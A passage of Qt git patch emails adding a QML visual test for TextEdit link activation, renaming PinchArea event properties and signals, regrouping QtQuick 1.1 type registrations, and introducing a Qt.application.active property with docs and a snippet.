"29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 464 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 480 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 496 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 512 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 528 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 544 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 560 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 576 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 592 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 608 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png new file mode 100644 index 0000000..7d0d0ae Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png new file mode 100644 index 0000000..7d612bf Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml new file mode 100644 index 0000000..8c7e380 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml @@ -0,0 +1,191 @@ +import Qt.VisualTest 4.7 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + image: "linkActivated.0.png" + } + Frame { + msec: 32 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 48 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 64 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 80 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 96 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 112 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 128 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 144 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 160 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 176 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 192 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 208 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 224 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 240 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 256 + hash: "53d97d0966197ea41364511dea13752f" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 21; y: 13 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 272 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Frame { + msec: 288 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Frame { + msec: 304 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 22; y: 11 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 320 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 23; y: 10 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 23; y: 10 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 336 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 352 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 368 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 384 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 400 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 416 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 432 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 448 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 464 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 480 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 496 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 512 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 528 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 544 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 560 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 576 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 592 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 608 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml new file mode 100644 index 0000000..177d475 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml @@ -0,0 +1,15 @@ +import QtQuick 1.1 + +Rectangle{ + width: 100 + height: 100 + TextEdit{ + text: 'Click Me ' + onLinkActivated: txt.text=link; + } + Text{ + id: txt + y:50 + text: "unknown" + } +} -- cgit v0.12 From 9a186ba66506963b9d88518d5cea0846825ba494 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 7 Jan 2011 11:27:25 +1000 Subject: Add PinchArea autotests. Task-number: QTBUG-15491 --- tests/auto/declarative/declarative.pro | 1 + .../declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/tests/auto/declarative/declarative.pro b/tests/auto/declarative/declarative.pro index f0fcfa9..51597bd 100644 --- a/tests/auto/declarative/declarative.pro +++ b/tests/auto/declarative/declarative.pro @@ -45,6 +45,7 @@ SUBDIRS += \ qdeclarativemousearea \ qdeclarativeparticles \ qdeclarativepathview \ + qdeclarativepincharea \ qdeclarativepixmapcache \ qdeclarativepositioners \ qdeclarativeproperty \ diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp index d1015fc..f175033 100644 --- a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp +++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp @@ -229,7 +229,7 @@ void tst_QDeclarativePinchArea::scale() QTest::touchEvent(vp).move(0, p1).move(1, p2); QCOMPARE(root->property("scale").toReal(), 1.5); - QCOMPARE(root->property("center").toPointF(), QPointF(90, 90)); + QCOMPARE(root->property("center").toPointF(), QPointF(40, 40)); // blackrect is at 50,50 QCOMPARE(blackRect->scale(), 1.5); // scale beyond bound @@ -283,7 +283,7 @@ void tst_QDeclarativePinchArea::pan() p2 += QPoint(10,10); QTest::touchEvent(vp).move(0, p1).move(1, p2); - QCOMPARE(root->property("center").toPointF(), QPointF(110, 110)); + QCOMPARE(root->property("center").toPointF(), QPointF(60, 60)); // blackrect is at 50,50 QCOMPARE(blackRect->x(), 60.0); QCOMPARE(blackRect->y(), 60.0); -- cgit v0.12 From d57baa9be741e0db90e08cc39ba8d488f58c40f5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 7 Jan 2011 14:10:08 +1000 Subject: PinchArea API changes following review. Task-number: QTBUG-15491 Reviewed-by: Michael Brasser --- .../touchinteraction/pincharea/flickresize.qml | 6 ++-- .../graphicsitems/qdeclarativepincharea.cpp | 42 +++++++++++----------- .../graphicsitems/qdeclarativepincharea_p.h | 20 +++++------ .../qdeclarativepincharea/data/pinchproperties.qml | 2 +- 4 files changed, 35 insertions(+), 35 deletions(-) diff --git a/examples/declarative/touchinteraction/pincharea/flickresize.qml b/examples/declarative/touchinteraction/pincharea/flickresize.qml index 8f29d6d..aa426e7 100644 --- a/examples/declarative/touchinteraction/pincharea/flickresize.qml +++ b/examples/declarative/touchinteraction/pincharea/flickresize.qml @@ -56,11 +56,11 @@ Rectangle { height: Math.max(flick.contentHeight, flick.height) onPinchChanged: { // adjust content pos due to drag - flick.contentX += pinch.lastCenter.x - pinch.center.x - flick.contentY += pinch.lastCenter.y - pinch.center.y + flick.contentX += pinch.previousCenter.x - pinch.center.x + flick.contentY += pinch.previousCenter.y - pinch.center.y // resize content - var scale = 1.0 + pinch.scale - pinch.lastScale + var scale = 1.0 + pinch.scale - pinch.previousScale flick.resizeContent(flick.contentWidth * scale, flick.contentHeight * scale, pinch.center) } diff --git a/src/declarative/graphicsitems/qdeclarativepincharea.cpp b/src/declarative/graphicsitems/qdeclarativepincharea.cpp index 998c30d..436099e 100644 --- a/src/declarative/graphicsitems/qdeclarativepincharea.cpp +++ b/src/declarative/graphicsitems/qdeclarativepincharea.cpp @@ -58,11 +58,11 @@ QT_BEGIN_NAMESPACE \bold {The PinchEvent element was added in QtQuick 1.1} - The \c center, \c startCenter, \c lastCenter properties provide the center position between the two touch points. + The \c center, \c startCenter, \c previousCenter properties provide the center position between the two touch points. - The \c scale and \c lastScale properties provide the scale factor. + The \c scale and \c previousScale properties provide the scale factor. - The \c angle, \c lastAngle and \c rotation properties provide the angle between the two points and the amount of rotation. + The \c angle, \c previousAngle and \c rotation properties provide the angle between the two points and the amount of rotation. The \c point1, \c point2, \c startPoint1, \c startPoint2 properties provide the positions of the touch points. @@ -75,26 +75,26 @@ QT_BEGIN_NAMESPACE /*! \qmlproperty QPointF PinchEvent::center \qmlproperty QPointF PinchEvent::startCenter - \qmlproperty QPointF PinchEvent::lastCenter + \qmlproperty QPointF PinchEvent::previousCenter These properties hold the position of the center point between the two touch points. \list \o \c center is the current center point - \o \c lastCenter is the center point of the previous event. + \o \c previousCenter is the center point of the previous event. \o \c startCenter is the center point when the gesture began \endlist */ /*! \qmlproperty real PinchEvent::scale - \qmlproperty real PinchEvent::lastScale + \qmlproperty real PinchEvent::previousScale These properties hold the scale factor determined by the change in distance between the two touch points. \list \o \c scale is the current scale factor. - \o \c lastScale is the scale factor of the previous event. + \o \c previousScale is the scale factor of the previous event. \endlist When a pinch gesture is started, the scale is 1.0. @@ -102,14 +102,14 @@ QT_BEGIN_NAMESPACE /*! \qmlproperty real PinchEvent::angle - \qmlproperty real PinchEvent::lastAngle + \qmlproperty real PinchEvent::previousAngle \qmlproperty real PinchEvent::rotation These properties hold the angle between the two touch points. \list \o \c angle is the current angle between the two points in the range -180 to 180. - \o \c lastAngle is the angle of the previous event. + \o \c previousAngle is the angle of the previous event. \o \c rotation is the total rotation since the pinch gesture started. \endlist @@ -169,7 +169,7 @@ QDeclarativePinchAreaPrivate::~QDeclarativePinchAreaPrivate() \list \o setting a \c pinch.target to provide automatic interaction with an element - \o using the onPinchStarted, onPinchChanged and onPinchFinished handlers + \o using the onPinchStarted, onPinchUpdated and onPinchFinished handlers \endlist \sa PinchEvent @@ -188,7 +188,7 @@ QDeclarativePinchAreaPrivate::~QDeclarativePinchAreaPrivate() */ /*! - \qmlsignal PinchArea::onPinchChanged() + \qmlsignal PinchArea::onPinchUpdated() This handler is called when the pinch area detects that a pinch gesture has changed. @@ -304,9 +304,9 @@ void QDeclarativePinchArea::updatePinch() QPointF pinchCenter = mapFromScene(d->sceneLastCenter); QDeclarativePinchEvent pe(pinchCenter, d->pinchLastScale, d->pinchLastAngle, rotationAngle); pe.setStartCenter(d->pinchStartCenter); - pe.setLastCenter(pinchCenter); - pe.setLastAngle(d->pinchLastAngle); - pe.setLastScale(d->pinchLastScale); + pe.setPreviousCenter(pinchCenter); + pe.setPreviousAngle(d->pinchLastAngle); + pe.setPreviousScale(d->pinchLastScale); pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); pe.setPoint1(d->lastPoint1); @@ -352,9 +352,9 @@ void QDeclarativePinchArea::updatePinch() d->lastPoint2 = d->touchPoints.at(1).pos(); QDeclarativePinchEvent pe(d->pinchStartCenter, 1.0, angle, 0.0); pe.setStartCenter(d->pinchStartCenter); - pe.setLastCenter(d->pinchStartCenter); - pe.setLastAngle(d->pinchLastAngle); - pe.setLastScale(d->pinchLastScale); + pe.setPreviousCenter(d->pinchStartCenter); + pe.setPreviousAngle(d->pinchLastAngle); + pe.setPreviousScale(d->pinchLastScale); pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); pe.setPoint1(d->lastPoint1); @@ -383,9 +383,9 @@ void QDeclarativePinchArea::updatePinch() QPointF pinchCenter = mapFromScene(sceneCenter); QDeclarativePinchEvent pe(pinchCenter, scale, angle, rotationAngle); pe.setStartCenter(d->pinchStartCenter); - pe.setLastCenter(mapFromScene(d->sceneLastCenter)); - pe.setLastAngle(d->pinchLastAngle); - pe.setLastScale(d->pinchLastScale); + pe.setPreviousCenter(mapFromScene(d->sceneLastCenter)); + pe.setPreviousAngle(d->pinchLastAngle); + pe.setPreviousScale(d->pinchLastScale); pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); pe.setPoint1(d->touchPoints.at(0).pos()); @@ -395,7 +395,7 @@ void QDeclarativePinchArea::updatePinch() d->pinchLastAngle = angle; d->lastPoint1 = d->touchPoints.at(0).pos(); d->lastPoint2 = d->touchPoints.at(1).pos(); - emit pinchChanged(&pe); + emit pinchUpdated(&pe); if (d->pinch && d->pinch->target()) { qreal s = d->pinchStartScale * scale; s = qMin(qMax(pinch()->minimumScale(),s), pinch()->maximumScale()); diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p.h index 9a73a17..cd5423d 100644 --- a/src/declarative/graphicsitems/qdeclarativepincharea_p.h +++ b/src/declarative/graphicsitems/qdeclarativepincharea_p.h @@ -193,11 +193,11 @@ class Q_AUTOTEST_EXPORT QDeclarativePinchEvent : public QObject Q_PROPERTY(QPointF center READ center) Q_PROPERTY(QPointF startCenter READ startCenter) - Q_PROPERTY(QPointF lastCenter READ lastCenter) + Q_PROPERTY(QPointF previousCenter READ previousCenter) Q_PROPERTY(qreal scale READ scale) - Q_PROPERTY(qreal lastScale READ lastScale) + Q_PROPERTY(qreal previousScale READ previousScale) Q_PROPERTY(qreal angle READ angle) - Q_PROPERTY(qreal lastAngle READ lastAngle) + Q_PROPERTY(qreal previousAngle READ previousAngle) Q_PROPERTY(qreal rotation READ rotation) Q_PROPERTY(QPointF point1 READ point1) Q_PROPERTY(QPointF startPoint1 READ startPoint1) @@ -212,14 +212,14 @@ public: QPointF center() const { return m_center; } QPointF startCenter() const { return m_startCenter; } void setStartCenter(QPointF c) { m_startCenter = c; } - QPointF lastCenter() const { return m_lastCenter; } - void setLastCenter(QPointF c) { m_lastCenter = c; } + QPointF previousCenter() const { return m_lastCenter; } + void setPreviousCenter(QPointF c) { m_lastCenter = c; } qreal scale() const { return m_scale; } - qreal lastScale() const { return m_lastScale; } - void setLastScale(qreal s) { m_lastScale = s; } + qreal previousScale() const { return m_lastScale; } + void setPreviousScale(qreal s) { m_lastScale = s; } qreal angle() const { return m_angle; } - qreal lastAngle() const { return m_lastAngle; } - void setLastAngle(qreal a) { m_lastAngle = a; } + qreal previousAngle() const { return m_lastAngle; } + void setPreviousAngle(qreal a) { m_lastAngle = a; } qreal rotation() const { return m_rotation; } QPointF point1() const { return m_point1; } void setPoint1(QPointF p) { m_point1 = p; } @@ -271,7 +271,7 @@ public: Q_SIGNALS: void enabledChanged(); void pinchStarted(QDeclarativePinchEvent *pinch); - void pinchChanged(QDeclarativePinchEvent *pinch); + void pinchUpdated(QDeclarativePinchEvent *pinch); void pinchFinished(QDeclarativePinchEvent *pinch); protected: diff --git a/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml index f39ea06..0b59d9d 100644 --- a/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml +++ b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml @@ -33,7 +33,7 @@ Rectangle { whiteRect.center = pinch.center whiteRect.scale = pinch.scale } - onPinchChanged: { + onPinchUpdated: { whiteRect.center = pinch.center whiteRect.scale = pinch.scale } -- cgit v0.12 From 5f4bf308ac7d4c81374f651103f85d45e0065d05 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 7 Jan 2011 14:11:43 +1000 Subject: Group all QtQuick 1.1 registrations together Task-number: QTBUG-15279 --- src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 5e04168..7db4d85 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -142,20 +142,16 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,0,"Scale"); qmlRegisterType("QtQuick",1,0,"Text"); qmlRegisterType("QtQuick",1,0,"TextEdit"); - qmlRegisterType("QtQuick",1,1,"TextEdit"); #ifndef QT_NO_LINEEDIT qmlRegisterType("QtQuick",1,0,"TextInput"); #endif qmlRegisterType("QtQuick",1,0,"ViewSection"); qmlRegisterType("QtQuick",1,0,"VisualDataModel"); qmlRegisterType("QtQuick",1,0,"VisualItemModel"); - qmlRegisterType("QtQuick",1,1,"PinchArea"); - qmlRegisterType(); qmlRegisterType(); qmlRegisterType(); qmlRegisterType(); - qmlRegisterType(); qmlRegisterType(); qmlRegisterType("QtQuick",1,0,"QGraphicsWidget"); qmlRegisterExtendedType("QtQuick",1,0,"QGraphicsWidget"); @@ -176,13 +172,16 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType(); #endif - // QtQuick 1.1 items - qmlRegisterType("QtQuick",1,1,"Repeater"); - - qmlRegisterUncreatableType("QtQuick",1,0,"KeyNavigation",QDeclarativeKeyNavigationAttached::tr("KeyNavigation is only available via attached properties")); qmlRegisterUncreatableType("QtQuick",1,0,"Keys",QDeclarativeKeysAttached::tr("Keys is only available via attached properties")); + // QtQuick 1.1 items + qmlRegisterType("QtQuick",1,1,"PinchArea"); + qmlRegisterType("QtQuick",1,1,"Pinch"); + qmlRegisterType(); + qmlRegisterType("QtQuick",1,1,"Repeater"); + qmlRegisterType("QtQuick",1,1,"TextEdit"); + #ifndef QT_NO_IMPORT_QT47_QML #ifdef QT_NO_MOVIE qmlRegisterTypeNotAvailable("Qt",4,7,"AnimatedImage", -- cgit v0.12 From d3a6fcd9174b893aaac9db7d5e541ceb54b12402 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Thu, 23 Dec 2010 12:24:47 +1000 Subject: Introduce Qt.application.active property Replaces qmlviewer's runtime.activeWindow property. Task-number: QTBUG-13351 Reviewed-by: Martin Jones --- demos/declarative/snake/snake.qml | 2 +- doc/src/snippets/declarative/application.qml | 53 +++++++++ src/declarative/qml/qdeclarativeengine.cpp | 4 + src/declarative/util/qdeclarativeapplication.cpp | 118 +++++++++++++++++++++ src/declarative/util/qdeclarativeapplication_p.h | 83 +++++++++++++++ src/declarative/util/qdeclarativeutilmodule.cpp | 3 + src/declarative/util/util.pri | 2 + tests/auto/declarative/declarative.pro | 1 + .../qdeclarativeapplication.pro | 5 + .../tst_qdeclarativeapplication.cpp | 96 +++++++++++++++++ 10 files changed, 366 insertions(+), 1 deletion(-) create mode 100644 doc/src/snippets/declarative/application.qml create mode 100644 src/declarative/util/qdeclarativeapplication.cpp create mode 100644 src/declarative/util/qdeclarativeapplication_p.h create mode 100644 tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro create mode 100644 tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp diff --git a/demos/declarative/snake/snake.qml b/demos/declarative/snake/snake.qml index af86aac..366c172 100644 --- a/demos/declarative/snake/snake.qml +++ b/demos/declarative/snake/snake.qml @@ -105,7 +105,7 @@ Rectangle { source: "content/pics/pause.png" anchors.centerIn: parent; //opacity is deliberately not animated - opacity: activeGame && !runtime.isActiveWindow + opacity: activeGame && !Qt.application.active } Image { diff --git a/doc/src/snippets/declarative/application.qml b/doc/src/snippets/declarative/application.qml new file mode 100644 index 0000000..2820ff2 --- /dev/null +++ b/doc/src/snippets/declarative/application.qml @@ -0,0 +1,53 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtQuick 1.1 + +Rectangle { + width: 300; height: 55 + color: Qt.application.active ? "white" : "lightgray" + Text { + text: "Application " + (Qt.application.active ? "active" : "inactive") + opacity: Qt.application.active ? 1.0 : 0.5 + anchors.centerIn: parent + } +} +//! [document] diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 0a008ff..b940457 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -70,6 +70,7 @@ #include "private/qdeclarativeinclude_p.h" #include "private/qdeclarativenotifier_p.h" #include "private/qdeclarativedebugtrace_p.h" +#include "private/qdeclarativeapplication_p.h" #include #include @@ -521,6 +522,9 @@ void QDeclarativeEnginePrivate::init() listClass = new QDeclarativeListScriptClass(q); rootContext = new QDeclarativeContext(q,true); + QScriptValue applicationObject = objectClass->newQObject(new QDeclarativeApplication(q)); + scriptEngine.globalObject().property(QLatin1String("Qt")).setProperty(QLatin1String("application"), applicationObject); + if (QCoreApplication::instance()->thread() == q->thread() && QDeclarativeEngineDebugServer::isDebuggingEnabled()) { isDebugging = true; diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp new file mode 100644 index 0000000..53d196f --- /dev/null +++ b/src/declarative/util/qdeclarativeapplication.cpp @@ -0,0 +1,118 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qdeclarativeapplication_p.h" +#include +#include + +class QDeclarativeApplicationPrivate : public QObjectPrivate +{ + Q_DECLARE_PUBLIC(QDeclarativeApplication) +public: + QDeclarativeApplicationPrivate() : active(QApplication::activeWindow() != 0) {} + bool active; +}; + +/*! + \qmlclass Application QDeclarativeApplication + \since QtQuick 1.1 + \ingroup qml-utility-elements + \brief The Application element provides access to global application + state properties shared by many QML components. + + These properties include application activity property \c active. + + \section1 Example Usage + + The following example shows the simplest usage of the Application element. + + \snippet doc/src/snippets/declarative/application.qml document + +*/ + +QDeclarativeApplication::QDeclarativeApplication(QObject *parent) : QObject(*new QDeclarativeApplicationPrivate(), parent) +{ + if (qApp) + qApp->installEventFilter(this); +} + +QDeclarativeApplication::~QDeclarativeApplication() +{ +} + +/*! + \qmlproperty bool Application::active + + This property indicates whether the application is the top-most and focused + application, and user is able to interact with the application. The property + is false when the application is on the background, device keylock or screen + saver is active, the screen backlight is turned off, or global system dialog + is being displayed on top of the application. It can be used for stopping and + pausing animations, timers, active processing of data to save device battery + and free device memory and processor load when the application is not active. + This property is readonly. + +*/ +bool QDeclarativeApplication::active() const +{ + Q_D(const QDeclarativeApplication); + return d->active; +} + +bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event) +{ + Q_UNUSED(obj) + Q_D(QDeclarativeApplication); + if (event->type() == QEvent::ApplicationActivate + || event->type() == QEvent::ApplicationDeactivate) { + bool active = d->active; + if (event->type() == QEvent::ApplicationActivate) + active = true; + else if (event->type() == QEvent::ApplicationDeactivate) + active = false; + + if (d->active != active) { + d->active = active; + emit activeChanged(); + } + } + return false; +} diff --git a/src/declarative/util/qdeclarativeapplication_p.h b/src/declarative/util/qdeclarativeapplication_p.h new file mode 100644 index 0000000..59ea7fe --- /dev/null +++ b/src/declarative/util/qdeclarativeapplication_p.h @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEAPPLICATION_P_H +#define QDECLARATIVEAPPLICATION_P_H + +#include +#include +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class QDeclarativeApplicationPrivate; +class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeApplication : public QObject +{ + Q_OBJECT + Q_PROPERTY(bool active READ active NOTIFY activeChanged) + +public: + explicit QDeclarativeApplication(QObject *parent = 0); + virtual ~QDeclarativeApplication(); + bool active() const; + +protected: + bool eventFilter(QObject *obj, QEvent *event); + +Q_SIGNALS: + void activeChanged(); + +private: + Q_DISABLE_COPY(QDeclarativeApplication) + Q_DECLARE_PRIVATE(QDeclarativeApplication) +}; + +QT_END_NAMESPACE + +QML_DECLARE_TYPE(QDeclarativeApplication) + +QT_END_HEADER + +#endif // QDECLARATIVEAPPLICATION_P_H diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 0544f22..5abf085 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -66,6 +66,7 @@ #include "private/qdeclarativetimer_p.h" #include "private/qdeclarativetransitionmanager_p_p.h" #include "private/qdeclarativetransition_p.h" +#include 